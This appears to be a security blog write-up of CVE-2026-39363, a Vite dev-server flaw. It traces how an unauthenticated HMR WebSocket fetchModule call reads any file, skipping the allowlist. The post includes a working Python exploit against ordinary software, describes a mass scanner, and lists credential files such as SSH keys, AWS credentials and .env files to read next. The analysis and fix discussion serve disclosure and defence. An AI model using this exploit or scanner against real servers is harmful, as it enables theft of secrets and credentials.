//nefariousplan

CVE-2026-39363: Vite's /@fs Route Returns 403. The HMR WebSocket Returns the File.

patterns

cve

proof of concept

Someone on your team ran vite --host so they could load the app on their phone. That is the supported way to do it; the Vite docs tell you to. The dev server is now listening on 0.0.0.0:5173, and anyone who can reach that port can read any file the dev-server process can read. Not files inside the project root. Any file: /etc/passwd, ~/.ssh/id_rsa, the .env two directories up, ~/.aws/credentials. CVE-2026-39363, fixed in Vite 6.4.2, 7.3.2, and 8.0.5, is the channel that does this.

Ask Vite for /etc/passwd over HTTP and it refuses. curl 'http://target:5173/@fs/etc/passwd?raw' returns 403 Restricted, because the /@fs/ route enforces server.fs.allow and /etc/passwd is not on the allowlist. Ask for the same file over the HMR WebSocket and Vite hands it back as export default "root:x:0:0:...". Same server, same file, same ?raw query. One path checks the allowlist. The other path was never taught it exists.

The HMR WebSocket has a token. It is checked only when you send an Origin header.

Vite's dev server runs a WebSocket for hot module replacement. After an earlier round of cross-site WebSocket hijacking reports, the team added a per-process token: the legitimate browser client appends ?token=<webSocketToken> to the WS URL, and connections without a valid token are dropped before they ever reach the connection handler. The mechanism is in packages/vite/src/node/server/ws.ts, in a function called shouldHandle:

// If the Origin header is set, this request might be coming from a browser.
// Browsers always sets the Origin header for WebSocket connections.
if (req.headers.origin) {
  const parsedUrl = new URL(`http://example.com${req.url!}`)
  return hasValidToken(config, parsedUrl)
}

// We allow non-browser requests to connect without a token
// for backward compat and convenience
// This is fine because if you can sent a request without the SOP limitation,
// you can also send a normal HTTP request to the server.
return true

Read the branches. If the request carries an Origin header, it might be a browser, so require a valid token. If it does not carry an Origin header, allow it, no token. The reasoning is in the comment: a client that can connect without an Origin header is not subject to the same-origin policy, so it could already send a plain HTTP request to the dev server, so it gains nothing by connecting to the WebSocket.

That reasoning has one assumption baked into it: that the WebSocket cannot do anything the HTTP request layer cannot. Hold onto that. The rest of this post is about the day it stopped being true.

The PoC that triggered this writeup is a mass scanner. It opens ws://host:5173 with the vite-hmr subprotocol and, in websocket-client terms, suppress_origin=True. That second flag is the whole game: a Python client sends an Origin header only if you tell it to, and the scanner tells it not to. shouldHandle sees no Origin, returns true, and the connection is in. No token, no allowlist, nothing.

vite:invoke is an RPC channel. fetchModule is one of its methods.

Once a client is connected, it can send custom events. Vite's HMR protocol carries { type: 'custom', event: '<name>', data: <payload> } messages, and the server dispatches them to listeners registered for that event name. One of those event names is vite:invoke, and it is not a notification, it is a request/response RPC.

When the dev server starts, the client DevEnvironment registers a set of invoke handlers on its hot channel:

this.hot.setInvokeHandler({
  fetchModule: (id, importer, options) => {
    return this.fetchModule(id, importer, options)
  },
  getBuiltins: async () => { /* ... */ },
})

setInvokeHandler wires an internal listener for vite:invoke. When a vite:invoke message arrives, the listener pulls { name, id, data } out of it, looks up invokeHandlers[name], calls it with ...data, and sends the result back as another vite:invoke message with the id rewritten from send:N to response:N. So sending this:

{"type":"custom","event":"vite:invoke","data":{"name":"fetchModule","id":"send:0","data":["file:///etc/passwd?raw"]}}

is a remote call to DevEnvironment.fetchModule('file:///etc/passwd?raw'), and the answer comes back over the same socket.

fetchModule is the module runner's resource-fetch primitive. It exists so that Vite's SSR runtime, worker-thread environments, and other module runners can ask the dev server for the transformed source of a module. It is part of the Environment API, which shipped in Vite 6.0. That is why the advisory's affected range starts at 6.0.0: that is the release that put fetchModule on the HMR WebSocket.

fetchModule calls transformRequest. transformRequest checks server.fs.allow only when the caller asks.

Here is fetchModule, lightly trimmed, from packages/vite/src/node/ssr/fetchModule.ts:

export async function fetchModule(environment, url, importer, options = {}) {
  if (url.startsWith('data:') || isBuiltin(...)) {
    return { externalize: url, type: 'builtin' }
  }

  const isFileUrl = url.startsWith('file://')
  if (isExternalUrl(url) && !isFileUrl) {
    return { externalize: url, type: 'network' }
  }

  // ...node-resolve branch for bare specifiers, skipped for file:// urls...

  url = unwrapId(url)
  const mod = await environment.moduleGraph.ensureEntryFromUrl(url)
  let result = await environment.transformRequest(url)
  // ...
  return { code: result.code, file: mod.file, id: mod.id, url: mod.url, invalidate: !cached }
}

A file:// URL is explicitly handled. It is not externalized; it is resolved and transformed. Vite's resolve plugin converts file:///etc/passwd?raw to /etc/passwd?raw by calling fileURLToPath on the URL part and re-attaching the query, and transformRequest is asked to transform /etc/passwd?raw.

Now look at how transformRequest enforces the allowlist. The deny logic lives in packages/vite/src/node/server/middlewares/transform.ts:

function isServerAccessDeniedForTransform(config, id) {
  if (rawRE.test(id) || urlRE.test(id) || inlineRE.test(id) || svgRE.test(id)) {
    return checkLoadingAccess(config, id) !== 'allowed'
  }
  return false
}

checkLoadingAccess is the server.fs.allow enforcement: it is what makes /@fs/etc/passwd?raw return 403 Restricted. But notice where isServerAccessDeniedForTransform is called. It is called by the HTTP transform middleware, and only there, by passing a closure into transformRequest:

// transformMiddleware, pre-patch
const result = await environment.transformRequest(url, {
  allowId(id) {
    return (
      id[0] === '\0' ||
      !isServerAccessDeniedForTransform(server.config, id)
    )
  },
})

And transformRequest, inside loadAndTransform:

if (options.allowId && !options.allowId(id)) {
  const err = new Error(`Denied ID ${id}`)
  err.code = ERR_DENIED_ID
  throw err
}

if (options.allowId && ...). The check runs only if the caller passed an allowId callback. The HTTP middleware passes one. fetchModule calls environment.transformRequest(url) with no options at all. options.allowId is undefined, the if is false, and the function proceeds to load /etc/passwd?raw.

What loads it is Vite's asset plugin, whose load handler has a branch for ?raw:

async handler(id) {
  // raw requests, read from disk
  if (rawRE.test(id)) {
    const file = checkPublicFile(id, config) || cleanUrl(id)
    this.addWatchFile(file)
    return `export default ${JSON.stringify(
      await fsp.readFile(file, 'utf-8'),
    )}`
  }
  // ...
}

cleanUrl('/etc/passwd?raw') is /etc/passwd. fsp.readFile('/etc/passwd', 'utf-8'). The handler returns export default "root:x:0:0:root:/root:/bin/bash\n...", transformRequest packages it, fetchModule returns it, and it travels back over the WebSocket as data.result.code. The advisory also lists ?inline as a working query; ?raw is the cleanest version because the file comes back as a plain string in the JS export.

So the file read crosses three components, and not one of them has server.fs.allow in its path. The resolve plugin doesn't check it. fetchModule doesn't check it. transformRequest checks it only when handed a callback that nobody on this path hands it. The asset plugin's ?raw branch reads whatever file cleanUrl produces. The 403 Restricted you get over HTTP is produced by the middleware, and the middleware is not on this road.

The exploit is a connection and one message.

A connection and one message is the whole exploit:

import json, websocket
ws = websocket.create_connection(
    "ws://target:5173",
    subprotocols=["vite-hmr"],
    suppress_origin=True,
)
ws.recv()  # {"type":"connected"}
ws.send(json.dumps({
    "type": "custom",
    "event": "vite:invoke",
    "data": {
        "name": "fetchModule",
        "id": "send:0",
        "data": ["file:///etc/passwd?raw"],
    },
}))
print(json.loads(ws.recv())["data"]["data"]["result"]["code"])
# export default "root:x:0:0:root:/root:/bin/bash\n..."

No token. No Origin header. No server.fs.allow entry. The only precondition is the one the advisory names: the dev server has to be listening on an address other than loopback, which is what --host and server.host do, and which dev containers, CI E2E jobs, "let me test this on my phone" sessions, and most cloud development environments do for you by default.

The scanner this post is built around stops at /etc/passwd. Concretely, it tries file:///etc/passwd?raw, recursively searches the JSON response for the string root:, and on a hit writes <url> (Linux) to result.txt. If that misses, it tries file:///C:/Windows/win.ini?raw against the marker for 16-bit app support and writes (Windows) instead. Twenty worker threads. An input list of URLs. A fallback that re-probes port 5173 whenever the listed port isn't it. Two payload formats, tried in sequence, in case the maintainer changed the field names between versions. That is a tool for sweeping a range and producing a list of confirmed-vulnerable dev servers, each tagged with its operating system.

The OS tag is the tell. /etc/passwd and win.ini are not interesting files. They are oracle files: present on every box, readable by every process, distinctive enough to pattern-match. Reading them confirms the primitive and tells you which file paths to ask for next. On the (Linux) rows: file:///proc/self/environ?raw for the process environment, file:// plus the project path plus /.env for the app's own secrets, ~/.ssh/id_rsa, ~/.aws/credentials, ~/.config/gh/hosts.yml, ~/.npmrc for the publish token. On the (Windows) rows: the equivalents under the user profile. None of that is in the PoC. All of it is the same vite:invoke call with a different string in the array. The scanner is stage one: find the doors and label them. Stage two is one edit to the payload list.

The check wasn't there because it was never the loader's job.

The server.fs.allow allowlist was built as a property of one route. /@fs/ is the route that serves arbitrary filesystem paths to the browser, so /@fs/ is where the allowlist is enforced, via the static-file middleware and the transform middleware. transformRequest, the function those middlewares call to actually load and transform a module, was never given the allowlist as part of its contract. It got it situationally, when the transform middleware passed in an allowId closure. The function that reads files did not know server.fs.allow existed; the route in front of it did.

That held for as long as the route was the only way to reach transformRequest from the network. The Environment API ended that. fetchModule is a second network-reachable caller of transformRequest, written for a different consumer (the module runner), and it called the function the way the function was actually built to be called: with a URL and nothing else. It inherited none of the route's safety, because the safety was the route's, not the function's.

This is the shape catalogued here as a parallel implementation gap: a capability reached through two parallel modules, the gate present in the canonical one and absent in the one written separately for a different environment, with the CVE naming the divergent module. Astro shipped two /_image endpoints and only one read the image.domains allowlist. mcp-atlassian guarded its download open() calls and not its upload ones. Here the capability is "load a module by URL," the canonical module is the HTTP transform middleware, the divergent module is fetchModule, and the gate is isServerAccessDeniedForTransform, which pre-patch only the canonical module imported.

The fix says as much. PR #22159 makes isServerAccessDeniedForTransform an export, moves the check inside transformRequest so it runs by default, and lets transports that are demonstrably not network-facing (worker threads, in-process runners) opt out with skipFsCheck: true. Pre-patch the check was off unless a caller turned it on; post-patch the check is on unless a transport that can prove it is local turns it off. And for the client HMR WebSocket specifically, the patch does not bother reconciling: it sets disableFetchModule: true on that environment, so vite:invoke fetchModule over the browser socket now throws fetchModule is disabled in this environment. The maintainers' verdict is that the browser HMR channel should never have had fetchModule reachable through it at all.

There is a longer pattern here too. Vite's server.fs.allow has been a design debt driver for more than a year. CVE-2025-30208 and the run of advisories that followed it were each a new query string or file-extension trick, ?raw??, ?import&raw??, .svg, ?.wasm?init, # fragment variants, that reached fsp.readFile without checkLoadingAccess in the path. CVE-2026-39363 is the same family with a new entry mechanism: not a string that slips past the check, a transport where the check was never installed. And the shape rhymes with the marimo terminal WebSocket, where Starlette gave HTTP endpoints a way to demand authentication and gave WebSocket endpoints none, so the one WebSocket handler that forked a shell was the one without the gate. The security control is opt-in at the consumer layer, and a consumer didn't opt in. The consumer that didn't opt in, in marimo, was a shell. Here it is a file loader. The shape doesn't care.

The comment is still in the file.

Go back to ws.ts:

// We allow non-browser requests to connect without a token
// for backward compat and convenience
// This is fine because if you can sent a request without the SOP limitation,
// you can also send a normal HTTP request to the server.
return true

The token was added to stop cross-site WebSocket hijacking, an attack that runs in a browser, where the Origin header is always present, where the token check therefore always runs. Against that, the token works. The "no Origin, no token" branch is for the other kind of client: a CLI, a test harness, a tool on the same machine, something that was never going to be a CSWSH vector because it isn't a browser. The comment's argument is that letting those clients in for free costs nothing, because they could already hit the dev server over HTTP, and HTTP enforces the allowlist.

HTTP enforces the allowlist. The HMR WebSocket, since Vite 6.0, exposes fetchModule, which doesn't. The two surfaces have not been equivalent for two major versions. The comment was a correct security argument about the codebase as it existed when someone wrote it, and it has been quietly false since the Environment API landed, and nobody went back to the comment when fetchModule was wired onto the channel it describes.

That is the charge. Vite shipped, for two major versions, an unauthenticated WebSocket method that reads any file the dev-server process can read, on the documented assumption that the WebSocket couldn't do anything the access-controlled HTTP path couldn't, an assumption the same release that shipped the method falsified. The fix is good. The fix is also, in its disableFetchModule: true line on the client environment, the maintainers conceding that the method should never have been reachable from there.

PoC: f4s1on/CVE-2026-39363

The comment in ws.ts that says the unauthenticated socket can't do anything a plain HTTP request can't was true the day it was written, and false the day Vite 6.0 shipped fetchModule onto that socket. It is still in the file.